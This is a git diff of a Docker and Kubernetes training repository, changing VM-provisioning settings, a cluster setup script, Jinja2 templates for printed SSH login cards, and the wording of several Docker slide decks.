-# These correspond to the version numbers visible on their respective GitHub release pages
-compose_version: 1.24.1
-machine_version: 0.14.0
-
-# Password used to connect with the "docker user"
-docker_user_password: training

prepare-vms/settings/admin-test.yaml

@@ -1,28 +0,0 @@
-# Number of VMs per cluster
-clustersize: 3
-
-# The hostname of each node will be clusterprefix + a number
-clusterprefix: test
-
-# Jinja2 template to use to generate ready-to-cut cards
-cards_template: cards.html
-
-# Use "Letter" in the US, and "A4" everywhere else
-paper_size: A4
-
-# Feel free to reduce this if your printer can handle it
-paper_margin: 0.2in
-
-# Note: paper_size and paper_margin only apply to PDF generated with pdfkit.
-# If you print (or generate a PDF) using ips.html, they will be ignored.
-# (The equivalent parameters must be set from the browser's print dialog.)
-
-# This can be "test" or "stable"
-engine_version: stable
-
-# These correspond to the version numbers visible on their respective GitHub release pages
-compose_version: 1.24.1
-machine_version: 0.14.0
-
-# Password used to connect with the "docker user"
-docker_user_password: training

prepare-vms/settings/csv.yaml

@@ -1,8 +1,5 @@
 # Number of VMs per cluster
 clustersize: 5
 
-# The hostname of each node will be clusterprefix + a number
-clusterprefix: node
-
 # Jinja2 template to use to generate ready-to-cut cards
 cards_template: clusters.csv

prepare-vms/settings/enix.yaml

@@ -1,11 +1,8 @@
 # Number of VMs per cluster
 clustersize: 1
 
-# The hostname of each node will be clusterprefix + a number
-clusterprefix: dmuc
-
 # Jinja2 template to use to generate ready-to-cut cards
-cards_template: cards.html
+cards_template: enix.html
 
 # Use "Letter" in the US, and "A4" everywhere else
 paper_size: A4
@@ -21,8 +18,9 @@ paper_margin: 0.2in
 engine_version: stable
 
 # These correspond to the version numbers visible on their respective GitHub release pages
-compose_version: 1.24.1
+compose_version: 1.21.1
 machine_version: 0.14.0
 
 # Password used to connect with the "docker user"
 docker_user_password: training
+

prepare-vms/settings/example.yaml

@@ -3,9 +3,6 @@
 # Number of VMs per cluster
 clustersize: 5
 
-# The hostname of each node will be clusterprefix + a number
-clusterprefix: node
-
 # Jinja2 template to use to generate ready-to-cut cards
 cards_template: cards.html
 
@@ -23,7 +20,7 @@ paper_margin: 0.2in
 engine_version: test
 
 # These correspond to the version numbers visible on their respective GitHub release pages
-compose_version: 1.24.1
+compose_version: 1.18.0
 machine_version: 0.13.0
 
 # Password used to connect with the "docker user"

prepare-vms/settings/fundamentals.yaml

@@ -3,9 +3,6 @@
 # Number of VMs per cluster
 clustersize: 1
 
-# The hostname of each node will be clusterprefix + a number
-clusterprefix: node
-
 # Jinja2 template to use to generate ready-to-cut cards
 cards_template: cards.html
 
@@ -23,7 +20,7 @@ paper_margin: 0.2in
 engine_version: stable
 
 # These correspond to the version numbers visible on their respective GitHub release pages
-compose_version: 1.24.1
+compose_version: 1.22.0
 machine_version: 0.15.0
 
 # Password used to connect with the "docker user"

prepare-vms/settings/jerome.yaml

@@ -1,14 +1,11 @@
 # Number of VMs per cluster
 clustersize: 4
 
-# The hostname of each node will be clusterprefix + a number
-clusterprefix: node
-
 # Jinja2 template to use to generate ready-to-cut cards
-cards_template: cards.html
+cards_template: jerome.html
 
 # Use "Letter" in the US, and "A4" everywhere else
-paper_size: Letter
+paper_size: A4
 
 # Feel free to reduce this if your printer can handle it
 paper_margin: 0.2in
@@ -21,7 +18,7 @@ paper_margin: 0.2in
 engine_version: stable
 
 # These correspond to the version numbers visible on their respective GitHub release pages
-compose_version: 1.24.1
+compose_version: 1.21.1
 machine_version: 0.14.0
 
 # Password used to connect with the "docker user"

prepare-vms/settings/kube101.yaml

@@ -3,11 +3,8 @@
 # Number of VMs per cluster
 clustersize: 3
 
-# The hostname of each node will be clusterprefix + a number
-clusterprefix: node
-
 # Jinja2 template to use to generate ready-to-cut cards
-cards_template: cards.html
+cards_template: kube101.html
 
 # Use "Letter" in the US, and "A4" everywhere else
 paper_size: Letter
@@ -23,7 +20,7 @@ paper_margin: 0.2in
 engine_version: stable
 
 # These correspond to the version numbers visible on their respective GitHub release pages
-compose_version: 1.24.1
+compose_version: 1.21.1
 machine_version: 0.14.0
 
 # Password used to connect with the "docker user"

prepare-vms/settings/swarm.yaml

@@ -3,9 +3,6 @@
 # Number of VMs per cluster
 clustersize: 3
 
-# The hostname of each node will be clusterprefix + a number
-clusterprefix: node
-
 # Jinja2 template to use to generate ready-to-cut cards
 cards_template: cards.html
 
@@ -23,7 +20,7 @@ paper_margin: 0.2in
 engine_version: stable
 
 # These correspond to the version numbers visible on their respective GitHub release pages
-compose_version: 1.24.1
+compose_version: 1.22.0
 machine_version: 0.15.0
 
 # Password used to connect with the "docker user"

prepare-vms/setup-admin-clusters.sh

@@ -1,66 +0,0 @@
-#!/bin/sh
-set -e
-
-export AWS_INSTANCE_TYPE=t3a.small
-
-INFRA=infra/aws-us-west-2
-
-STUDENTS=2
-
-PREFIX=$(date +%Y-%m-%d-%H-%M)
-
-SETTINGS=admin-dmuc
-TAG=$PREFIX-$SETTINGS
-./workshopctl start \
-	--tag $TAG \
-	--infra $INFRA \
-	--settings settings/$SETTINGS.yaml \
-	--count $STUDENTS
-
-./workshopctl deploy $TAG
-./workshopctl disabledocker $TAG
-./workshopctl kubebins $TAG
-./workshopctl cards $TAG
-
-SETTINGS=admin-kubenet
-TAG=$PREFIX-$SETTINGS
-./workshopctl start \
-	--tag $TAG \
-	--infra $INFRA \
-	--settings settings/$SETTINGS.yaml \
-	--count $((3*$STUDENTS))
-
-./workshopctl disableaddrchecks $TAG
-./workshopctl deploy $TAG
-./workshopctl kubebins $TAG
-./workshopctl cards $TAG
-
-SETTINGS=admin-kuberouter
-TAG=$PREFIX-$SETTINGS
-./workshopctl start \
-	--tag $TAG \
-	--infra $INFRA \
-	--settings settings/$SETTINGS.yaml \
-	--count $((3*$STUDENTS))
-
-./workshopctl disableaddrchecks $TAG
-./workshopctl deploy $TAG
-./workshopctl kubebins $TAG
-./workshopctl cards $TAG
-
-#INFRA=infra/aws-us-west-1
-
-export AWS_INSTANCE_TYPE=t3a.medium
-
-SETTINGS=admin-test
-TAG=$PREFIX-$SETTINGS
-./workshopctl start \
-	--tag $TAG \
-	--infra $INFRA \
-	--settings settings/$SETTINGS.yaml \
-	--count $((3*$STUDENTS))
-
-./workshopctl deploy $TAG
-./workshopctl kube $TAG 1.13.5
-./workshopctl cards $TAG
-

prepare-vms/templates/cards.html

@@ -1,88 +1,29 @@
 {# Feel free to customize or override anything in there! #}
-
-{%- set url = "http://FIXME.container.training/" -%}
-{%- set pagesize = 9 -%}
-{%- set lang = "en" -%}
-{%- set event = "training session" -%}
-{%- set backside = False -%}
-{%- set image = "kube" -%}
-{%- set clusternumber = 100 -%}
-
-{%- set image_src = {
-	"docker": "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png",
-	"swarm": "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png",
-	"kube": "https://avatars1.githubusercontent.com/u/13629408",
-	"enix": "https://enix.io/static/img/logos/logo-domain-cropped.png",
-    }[image] -%}
-{%- if lang == "en" and clustersize == 1 -%}
-	{%- set intro -%}
-	Here is the connection information to your very own
-	machine for this {{ event }}.
-	You can connect to this VM with any SSH client.
-	{%- endset -%}
-    {%- set listhead -%}
-    Your machine is:
-	{%- endset -%}
-{%- endif -%}
-{%- if lang == "en" and clustersize != 1 -%}
-	{%- set intro -%}
-	Here is the connection information to your very own
-	cluster for this {{ event }}.
-	You can connect to each VM with any SSH client.
-	{%- endset -%}
-    {%- set listhead -%}
-    Your machines are:
-	{%- endset -%}
-{%- endif -%}
-{%- if lang == "fr" and clustersize == 1 -%}
-	{%- set intro -%}
-	Voici les informations permettant de se connecter à votre
-	machine pour cette formation.
-	Vous pouvez vous connecter à cette machine virtuelle
-	avec n'importe quel client SSH.
-	{%- endset -%}
-    {%- set listhead -%}
-    Adresse IP:
-	{%- endset -%}
-{%- endif -%}
-{%- if lang == "en" and clusterprefix != "node" -%}
-	{%- set intro -%}
-    Here is the connection information for the
-    <strong>{{ clusterprefix }}</strong> environment.
-	{%- endset -%}
-{%- endif -%}
-{%- if lang == "fr" and clustersize != 1 -%}
-	{%- set intro -%}
-	Voici les informations permettant de se connecter à votre
-	cluster pour cette formation.
-	Vous pouvez vous connecter à chaque machine virtuelle
-	avec n'importe quel client SSH.
-	{%- endset -%}
-    {%- set listhead -%}
-	Adresses IP:
-	{%- endset -%}
-{%- endif -%}
-{%- if lang == "en"  -%}
-	{%- set slides_are_at -%}
-	You can find the slides at:
-	{%- endset -%}
-{%- endif -%}
-{%- if lang == "fr" -%}
-	{%- set slides_are_at -%}
-  	Le support de formation est à l'adresse suivante :
-	{%- endset -%}
+{%- set url = "http://container.training/" -%}
+{%- set pagesize = 12 -%}
+{%- if clustersize == 1 -%}
+    {%- set workshop_name = "Docker workshop" -%}
+    {%- set cluster_or_machine = "machine" -%}
+    {%- set this_or_each = "this" -%}
+    {%- set machine_is_or_machines_are = "machine is" -%}
+    {%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%}
+{%- else -%}
+    {%- set workshop_name = "orchestration workshop" -%}
+    {%- set cluster_or_machine = "cluster" -%}
+    {%- set this_or_each = "each" -%}
+    {%- set machine_is_or_machines_are = "machines are" -%}
+    {%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%}
+    {%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%}
+    {%- set image_src = image_src_swarm -%}
 {%- endif -%}
 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
 <html>
 <head><style>
-@import url('https://fonts.googleapis.com/css?family=Slabo+27px');
-
 body, table {
     margin: 0;
     padding: 0;
     line-height: 1em;
-    font-size: 15px;
-    font-family: 'Slabo 27px';
+    font-size: 14px;
 }
 
 table {
@@ -96,54 +37,24 @@ table {
 div {
     float: left;
     border: 1px dotted black;
-    {% if backside %}
-    height: 31%;
-    {% endif %}
     padding-top: 1%;
     padding-bottom: 1%;
     /* columns * (width+left+right) < 100% */
-    /*
     width: 21.5%;
     padding-left: 1.5%;
     padding-right: 1.5%;
-    */
-    /**/
-    width: 30%;
-    padding-left: 1.5%;
-    padding-right: 1.5%;
-    /**/    
 }
 
 p {
     margin: 0.4em 0 0.4em 0;
 }
 
-div.back {
-	border: 1px dotted white;
-}
-
-div.back p {
-    margin: 0.5em 1em 0 1em;
-}
-
 img {
     height: 4em;
     float: right;
-    margin-right: -0.2em;
+    margin-right: -0.4em;
 }
 
-/*
-img.enix {
-    height: 4.0em;
-    margin-top: 0.4em;
-}
-
-img.kube {
-    height: 4.2em;
-    margin-top: 1.7em;
-}
-*/
-
 .logpass {
     font-family: monospace;
     font-weight: bold;
@@ -158,15 +69,19 @@ img.kube {
 </style></head>
 <body>
 {% for cluster in clusters %}
+    {% if loop.index0>0 and loop.index0%pagesize==0 %}
+        <span class="pagebreak"></span>
+    {% endif %}
     <div>
-        <p>{{ intro }}</p>
+
+        <p>
+            Here is the connection information to your very own
+            {{ cluster_or_machine }} for this {{ workshop_name }}.
+            You can connect to {{ this_or_each }} VM with any SSH client.
+        </p>
         <p>
             <img src="{{ image_src }}" />
             <table>
-            	{% if clusternumber != None %}
-	            <tr><td>cluster:</td></tr>
-	            <tr><td class="logpass">{{ clusternumber + loop.index }}</td></tr>
-            	{% endif %}
                 <tr><td>login:</td></tr>
                 <tr><td class="logpass">docker</td></tr>
                 <tr><td>password:</td></tr>
@@ -175,44 +90,17 @@ img.kube {
 
         </p>
         <p>
-            {{ listhead }}
+            Your {{ machine_is_or_machines_are }}:
             <table>
                 {% for node in cluster %}
-                <tr>
-                	<td>{{ clusterprefix }}{{ loop.index }}:</td>
-                	<td>{{ node }}</td>
-                </tr>
+                <tr><td>node{{ loop.index }}:</td><td>{{ node }}</td></tr>
                 {% endfor %}
             </table>
         </p>
-
-        <p>
-        	{{ slides_are_at }}
+        <p>You can find the slides at:
             <center>{{ url }}</center>
         </p>
     </div>
-    {% if loop.index%pagesize==0 or loop.last %}
-        <span class="pagebreak"></span>
-        {% if backside %}
-			{% for x in range(pagesize) %}
-		        <div class="back">
-		        <br/>
-				<p>You got this at the workshop
-				"Getting Started With Kubernetes and Container Orchestration"
-				during QCON London (March 2019).</p>
-				<p>If you liked that workshop,
-				I can train your team or organization
-				on Docker, container, and Kubernetes,
-				with curriculums of 1 to 5 days.
-				</p>
-				<p>Interested? Contact me at:</p>
-				<p>jerome.petazzoni@gmail.com</p>
-				<p>Thank you!</p>
-		        </div>
-			{% endfor %}
-		<span class="pagebreak"></span>
-		{% endif %}
-    {% endif %}
 {% endfor %}
 </body>
 </html>

prepare-vms/templates/enix.html

@@ -0,0 +1,121 @@
+{# Feel free to customize or override anything in there! #}
+{%- set url = "http://FIXME.container.training" -%}
+{%- set pagesize = 9 -%}
+{%- if clustersize == 1 -%}
+    {%- set workshop_name = "Docker workshop" -%}
+    {%- set cluster_or_machine = "machine virtuelle" -%}
+    {%- set this_or_each = "cette" -%}
+    {%- set plural = "" -%}
+    {%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%}
+{%- else -%}
+    {%- set workshop_name = "Kubernetes workshop" -%}
+    {%- set cluster_or_machine = "cluster" -%}
+    {%- set this_or_each = "chaque" -%}
+    {%- set plural = "s" -%}
+    {%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%}
+    {%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%}
+    {%- set image_src = image_src_kube -%}
+{%- endif -%}
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head><style>
+@import url('https://fonts.googleapis.com/css?family=Slabo+27px');
+
+body, table {
+    margin: 0;
+    padding: 0;
+    line-height: 1em;
+    font-size: 15px;
+    font-family: 'Slabo 27px';
+}
+
+table {
+    border-spacing: 0;
+    margin-top: 0.4em;
+    margin-bottom: 0.4em;
+    border-left: 0.8em double grey;
+    padding-left: 0.4em;
+}
+
+div {
+    float: left;
+    border: 1px dotted black;
+    padding-top: 1%;
+    padding-bottom: 1%;
+    /* columns * (width+left+right) < 100% */
+    width: 30%;
+    padding-left: 1.5%;
+    padding-right: 1.5%;
+}
+
+p {
+    margin: 0.4em 0 0.4em 0;
+}
+
+img {
+    height: 4em;
+    float: right;
+    margin-right: -0.3em;
+}
+
+img.enix {
+    height: 4.0em;
+    margin-top: 0.4em;
+}
+
+img.kube {
+    height: 4.2em;
+    margin-top: 1.7em;
+}
+
+.logpass {
+    font-family: monospace;
+    font-weight: bold;
+}
+
+.pagebreak {
+    page-break-after: always;
+    clear: both;
+    display: block;
+    height: 8px;
+}
+</style></head>
+<body>
+{% for cluster in clusters %}
+    {% if loop.index0>0 and loop.index0%pagesize==0 %}
+        <span class="pagebreak"></span>
+    {% endif %}
+    <div>
+
+        <p>
+            Voici les informations permettant de se connecter à votre
+	    {{ cluster_or_machine }} pour cette formation.
+	    Vous pouvez vous connecter à {{ this_or_each }} machine virtuelle
+	    avec n'importe quel client SSH.
+        </p>
+        <p>
+	    <img class="enix" src="https://enix.io/static/img/logos/logo-domain-cropped.png" />
+            <table>
+                <tr><td>identifiant:</td></tr>
+                <tr><td class="logpass">docker</td></tr>
+                <tr><td>mot de passe:</td></tr>
+                <tr><td class="logpass">{{ docker_user_password }}</td></tr>
+            </table>
+
+        </p>
+        <p>
+	Adresse{{ plural }} IP :
+	<!--<img class="kube" src="{{ image_src }}" />-->
+            <table>
+                {% for node in cluster %}
+                <tr><td>node{{ loop.index }}:</td><td>{{ node }}</td></tr>
+                {% endfor %}
+            </table>
+        </p>
+        <p>Le support de formation est à l'adresse suivante :
+            <center>{{ url }}</center>
+        </p>
+    </div>
+{% endfor %}
+</body>
+</html>

prepare-vms/templates/jerome.html

@@ -0,0 +1,134 @@
+{# Feel free to customize or override anything in there! #}
+{%- set url = "http://qconuk2019.container.training/" -%}
+{%- set pagesize = 9 -%}
+{%- if clustersize == 1 -%}
+    {%- set workshop_name = "Docker workshop" -%}
+    {%- set cluster_or_machine = "machine" -%}
+    {%- set this_or_each = "this" -%}
+    {%- set machine_is_or_machines_are = "machine is" -%}
+    {%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%}
+{%- else -%}
+    {%- set workshop_name = "Kubernetes workshop" -%}
+    {%- set cluster_or_machine = "cluster" -%}
+    {%- set this_or_each = "each" -%}
+    {%- set machine_is_or_machines_are = "machines are" -%}
+    {%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%}
+    {%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%}
+    {%- set image_src = image_src_kube -%}
+{%- endif -%}
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head><style>
+@import url('https://fonts.googleapis.com/css?family=Slabo+27px');
+body, table {
+    margin: 0;
+    padding: 0;
+    line-height: 1.0em;
+    font-size: 15px;
+    font-family: 'Slabo 27px';
+}
+
+table {
+    border-spacing: 0;
+    margin-top: 0.4em;
+    margin-bottom: 0.4em;
+    border-left: 0.8em double grey;
+    padding-left: 0.4em;
+}
+
+div {
+    float: left;
+    border: 1px dotted black;
+    height: 31%;
+    padding-top: 1%;
+    padding-bottom: 1%;
+    /* columns * (width+left+right) < 100% */
+    width: 30%;
+    padding-left: 1.5%;
+    padding-right: 1.5%;
+}
+
+div.back {
+	border: 1px dotted white;
+}
+
+div.back p {
+    margin: 0.5em 1em 0 1em;
+}
+
+p {
+    margin: 0.4em 0 0.8em 0;
+}
+
+img {
+    height: 5em;
+    float: right;
+    margin-right: 1em;
+}
+
+.logpass {
+    font-family: monospace;
+    font-weight: bold;
+}
+
+.pagebreak {
+    page-break-after: always;
+    clear: both;
+    display: block;
+    height: 8px;
+}
+</style></head>
+<body>
+{% for cluster in clusters %}
+    <div>
+
+        <p>
+            Here is the connection information to your very own
+            {{ cluster_or_machine }} for this {{ workshop_name }}.
+            You can connect to {{ this_or_each }} VM with any SSH client.
+        </p>
+        <p>
+            <img src="{{ image_src }}" />
+            <table>
+                <tr><td>login:</td></tr>
+                <tr><td class="logpass">docker</td></tr>
+                <tr><td>password:</td></tr>
+                <tr><td class="logpass">{{ docker_user_password }}</td></tr>
+            </table>
+
+        </p>
+        <p>
+            Your {{ machine_is_or_machines_are }}:
+            <table>
+                {% for node in cluster %}
+                <tr><td>node{{ loop.index }}:</td><td>{{ node }}</td></tr>
+                {% endfor %}
+            </table>
+        </p>
+        <p>You can find the slides at:
+            <center>{{ url }}</center>
+        </p>
+    </div>
+    {% if loop.index%pagesize==0 or loop.last %}
+        <span class="pagebreak"></span>
+	{% for x in range(pagesize) %}
+        <div class="back">
+        <br/>
+		<p>You got this at the workshop
+		"Getting Started With Kubernetes and Container Orchestration"
+		during QCON London (March 2019).</p>
+		<p>If you liked that workshop,
+		I can train your team or organization
+		on Docker, container, and Kubernetes,
+		with curriculums of 1 to 5 days.
+		</p>
+		<p>Interested? Contact me at:</p>
+		<p>jerome.petazzoni@gmail.com</p>
+		<p>Thank you!</p>
+        </div>
+	{% endfor %}
+	<span class="pagebreak"></span>
+    {% endif %}
+{% endfor %}
+</body>
+</html>

prepare-vms/templates/kube101.html

@@ -0,0 +1,106 @@
+{# Feel free to customize or override anything in there! #}
+{%- set url = "http://container.training/" -%}
+{%- set pagesize = 12 -%}
+{%- if clustersize == 1 -%}
+    {%- set workshop_name = "Docker workshop" -%}
+    {%- set cluster_or_machine = "machine" -%}
+    {%- set this_or_each = "this" -%}
+    {%- set machine_is_or_machines_are = "machine is" -%}
+    {%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%}
+{%- else -%}
+    {%- set workshop_name = "Kubernetes workshop" -%}
+    {%- set cluster_or_machine = "cluster" -%}
+    {%- set this_or_each = "each" -%}
+    {%- set machine_is_or_machines_are = "machines are" -%}
+    {%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%}
+    {%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%}
+    {%- set image_src = image_src_kube -%}
+{%- endif -%}
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head><style>
+body, table {
+    margin: 0;
+    padding: 0;
+    line-height: 1em;
+    font-size: 14px;
+}
+
+table {
+    border-spacing: 0;
+    margin-top: 0.4em;
+    margin-bottom: 0.4em;
+    border-left: 0.8em double grey;
+    padding-left: 0.4em;
+}
+
+div {
+    float: left;
+    border: 1px dotted black;
+    padding-top: 1%;
+    padding-bottom: 1%;
+    /* columns * (width+left+right) < 100% */
+    width: 21.5%;
+    padding-left: 1.5%;
+    padding-right: 1.5%;
+}
+
+p {
+    margin: 0.4em 0 0.4em 0;
+}
+
+img {
+    height: 4em;
+    float: right;
+    margin-right: -0.4em;
+}
+
+.logpass {
+    font-family: monospace;
+    font-weight: bold;
+}
+
+.pagebreak {
+    page-break-after: always;
+    clear: both;
+    display: block;
+    height: 8px;
+}
+</style></head>
+<body>
+{% for cluster in clusters %}
+    {% if loop.index0>0 and loop.index0%pagesize==0 %}
+        <span class="pagebreak"></span>
+    {% endif %}
+    <div>
+
+        <p>
+            Here is the connection information to your very own
+            {{ cluster_or_machine }} for this {{ workshop_name }}.
+            You can connect to {{ this_or_each }} VM with any SSH client.
+        </p>
+        <p>
+            <img src="{{ image_src }}" />
+            <table>
+                <tr><td>login:</td></tr>
+                <tr><td class="logpass">docker</td></tr>
+                <tr><td>password:</td></tr>
+                <tr><td class="logpass">{{ docker_user_password }}</td></tr>
+            </table>
+
+        </p>
+        <p>
+            Your {{ machine_is_or_machines_are }}:
+            <table>
+                {% for node in cluster %}
+                <tr><td>node{{ loop.index }}:</td><td>{{ node }}</td></tr>
+                {% endfor %}
+            </table>
+        </p>
+        <p>You can find the slides at:
+            <center>{{ url }}</center>
+        </p>
+    </div>
+{% endfor %}
+</body>
+</html>

prepare-vms/www/README

@@ -1,4 +0,0 @@
-This directory will contain symlinks to HTML and PDF files for the cards
-with the IP address, login, and password for the training environments.
-
-The file "index.html" is empty on purpose: it prevents listing the files.

slides/Dockerfile

@@ -1,4 +1,7 @@
-FROM alpine:3.9
-RUN apk add --no-cache entr py-pip git
+FROM alpine
+RUN apk update
+RUN apk add entr
+RUN apk add py-pip
+RUN apk add git
 COPY requirements.txt .
 RUN pip install -r requirements.txt

slides/_redirects

@@ -1,7 +1,5 @@
 # Uncomment and/or edit one of the the following lines if necessary.
 #/ /kube-halfday.yml.html 200
-/ /intro-fullday.yml.html 200!
+#/ /kube-fullday.yml.html 200
 #/ /kube-twodays.yml.html 200
-
-# And this allows to do "git clone https://container.training".
-/info/refs service=git-upload-pack https://github.com/jpetazzo/container.training/info/refs?service=git-upload-pack
+/ /intro-fullday.yml.html 200!

slides/containers/Ambassadors.md

@@ -150,7 +150,7 @@ Different deployments will use different underlying technologies.
 * Ad-hoc deployments can use a master-less discovery protocol
   like avahi to register and discover services.
 * It is also possible to do one-shot reconfiguration of the
-  ambassadors. It is slightly less dynamic but has far fewer
+  ambassadors. It is slightly less dynamic but has much less
   requirements.
 * Ambassadors can be used in addition to, or instead of, overlay networks.
 
@@ -186,48 +186,22 @@ Different deployments will use different underlying technologies.
 
 ---
 
-## Some popular service meshes
+## Section summary
 
-... And related projects:
+We've learned how to:
 
-* [Consul Connect](https://www.consul.io/docs/connect/index.html)
-  <br/>
-  Transparently secures service-to-service connections with mTLS.
+* Understand the ambassador pattern and what it is used for (service portability).
 
-* [Gloo](https://gloo.solo.io/)
-  <br/>
-  API gateway that can interconnect applications on VMs, containers, and serverless.
+For more information about the ambassador pattern, including demos on Swarm and ECS: 
+
+* AWS re:invent 2015 [DVO317](https://www.youtube.com/watch?v=7CZFpHUPqXw)
+
+* [SwarmWeek video about Swarm+Compose](https://youtube.com/watch?v=qbIvUvwa6As)
+
+Some services meshes and related projects:
 
 * [Istio](https://istio.io/)
-  <br/>
-  A popular service mesh.
 
 * [Linkerd](https://linkerd.io/)
-  <br/>
-  Another popular service mesh.
 
----
-
-## Learning more about service meshes
-
-A few blog posts about service meshes:
-
-* [Containers, microservices, and service meshes](http://jpetazzo.github.io/2019/05/17/containers-microservices-service-meshes/)
-  <br/>
-  Provides historical context: how did we do before service meshes were invented?
-
-* [Do I Need a Service Mesh?](https://www.nginx.com/blog/do-i-need-a-service-mesh/)
-  <br/>
-  Explains the purpose of service meshes. Illustrates some NGINX features.
-
-* [Do you need a service mesh?](https://www.oreilly.com/ideas/do-you-need-a-service-mesh)
-  <br/>
-  Includes high-level overview and definitions.
-
-* [What is Service Mesh and Why Do We Need It?](https://containerjournal.com/2018/12/12/what-is-service-mesh-and-why-do-we-need-it/)
-  <br/>
-  Includes a step-by-step demo of Linkerd.
-
-And a video:
-
-* [What is a Service Mesh, and Do I Need One When Developing Microservices?](https://www.datawire.io/envoyproxy/service-mesh/)
+* [Gloo](https://gloo.solo.io/)

slides/containers/Application_Configuration.md

@@ -98,13 +98,13 @@ COPY prometheus.conf /etc
 
 * Allows arbitrary customization and complex configuration files.
 
-* Requires writing a configuration file. (Obviously!)
+* Requires to write a configuration file. (Obviously!)
 
-* Requires building an image to start the service.
+* Requires to build an image to start the service.
 
-* Requires rebuilding the image to reconfigure the service.
+* Requires to rebuild the image to reconfigure the service.
 
-* Requires rebuilding the image to upgrade the service.
+* Requires to rebuild the image to upgrade the service.
 
 * Configured images can be stored in registries.
 
@@ -132,11 +132,11 @@ docker run -v appconfig:/etc/appconfig myapp
 
 * Allows arbitrary customization and complex configuration files.
 
-* Requires creating a volume for each different configuration.
+* Requires to create a volume for each different configuration.
 
 * Services with identical configurations can use the same volume.
 
-* Doesn't require building / rebuilding an image when upgrading / reconfiguring.
+* Doesn't require to build / rebuild an image when upgrading / reconfiguring.
 
 * Configuration can be generated or edited through another container.
 
@@ -198,4 +198,4 @@ E.g.:
 
 - read the secret on stdin when the service starts,
 
-- pass the secret using an API endpoint.
+- pass the secret using an API endpoint.

slides/containers/Background_Containers.md

@@ -257,7 +257,7 @@ $ docker kill 068 57ad
 The `stop` and `kill` commands can take multiple container IDs.
 
 Those containers will be terminated immediately (without
-the 10-second delay).
+the 10 seconds delay).
 
 Let's check that our containers don't show up anymore:
 

slides/containers/Cmd_And_Entrypoint.md

@@ -222,16 +222,16 @@ CMD ["hello world"]
 Let's build it:
 
 ```bash
-$ docker build -t myfiglet .
+$ docker build -t figlet .
 ...
 Successfully built 6e0b6a048a07
-Successfully tagged myfiglet:latest
+Successfully tagged figlet:latest
 ```
 
 Run it without parameters:
 
 ```bash
-$ docker run myfiglet
+$ docker run figlet
  _          _   _                             _        
 | |        | | | |                           | |    |  
 | |     _  | | | |  __             __   ,_   | |  __|  
@@ -246,7 +246,7 @@ $ docker run myfiglet
 Now let's pass extra arguments to the image.
 
 ```bash
-$ docker run myfiglet hola mundo
+$ docker run figlet hola mundo
  _           _                                               
 | |         | |                                      |       
 | |     __  | |  __,     _  _  _           _  _    __|   __  
@@ -262,13 +262,13 @@ We overrode `CMD` but still used `ENTRYPOINT`.
 
 What if we want to run a shell in our container?
 
-We cannot just do `docker run myfiglet bash` because
+We cannot just do `docker run figlet bash` because
 that would just tell figlet to display the word "bash."
 
 We use the `--entrypoint` parameter:
 
 ```bash
-$ docker run -it --entrypoint bash myfiglet
+$ docker run -it --entrypoint bash figlet
 root@6027e44e2955:/# 
 ```
 

slides/containers/Container_Engines.md

@@ -86,7 +86,7 @@ like Windows, macOS, Solaris, FreeBSD ...
 
 * No notion of image (container filesystems have to be managed manually).
 
-* Networking has to be set up manually.
+* Networking has to be setup manually.
 
 ---
 
@@ -112,7 +112,7 @@ like Windows, macOS, Solaris, FreeBSD ...
 
 * Strong emphasis on security (through privilege separation).
 
-* Networking has to be set up separately (e.g. through CNI plugins).
+* Networking has to be setup separately (e.g. through CNI plugins).
 
 * Partial image management (pull, but no push).
 
@@ -152,7 +152,7 @@ We're not aware of anyone using it directly (i.e. outside of Kubernetes).
 
 * Basic image support (tar archives and raw disk images).
 
-* Network has to be set up manually.
+* Network has to be setup manually.
 
 ---
 
@@ -164,7 +164,7 @@ We're not aware of anyone using it directly (i.e. outside of Kubernetes).
 
 * Run each container in a lightweight virtual machine.
 
-* Requires running on bare metal *or* with nested virtualization.
+* Requires to run on bare metal *or* with nested virtualization.
 
 ---
 

slides/containers/Container_Network_Model.md

@@ -474,7 +474,7 @@ When creating a network, extra options can be provided.
 
 * `--ip-range` (in CIDR notation) indicates the subnet to allocate from.
 
-* `--aux-address` allows specifying a list of reserved addresses (which won't be allocated to containers).
+* `--aux-address` allows to specify a list of reserved addresses (which won't be allocated to containers).
 
 ---
 
@@ -528,9 +528,7 @@ Very short instructions:
 - `docker network create mynet --driver overlay`
 - `docker service create --network mynet myimage`
 
-If you want to learn more about Swarm mode, you can check
-[this video](https://www.youtube.com/watch?v=EuzoEaE6Cqs)
-or [these slides](https://container.training/swarm-selfpaced.yml.html).
+See https://jpetazzo.github.io/container.training for all the deets about clustering!
 
 ---
 
@@ -556,7 +554,7 @@ General idea:
 
 * So far, we have specified which network to use when starting the container.
 
-* The Docker Engine also allows connecting and disconnecting while the container is running.
+* The Docker Engine also allows to connect and disconnect while the container runs.
 
 * This feature is exposed through the Docker API, and through two Docker CLI commands:
 

slides/containers/Dockerfile_Tips.md

@@ -76,78 +76,6 @@ CMD ["python", "app.py"]
 
 ---
 
-## Be careful with `chown`, `chmod`, `mv`
-
-* Layers cannot store efficiently changes in permissions or ownership.
-
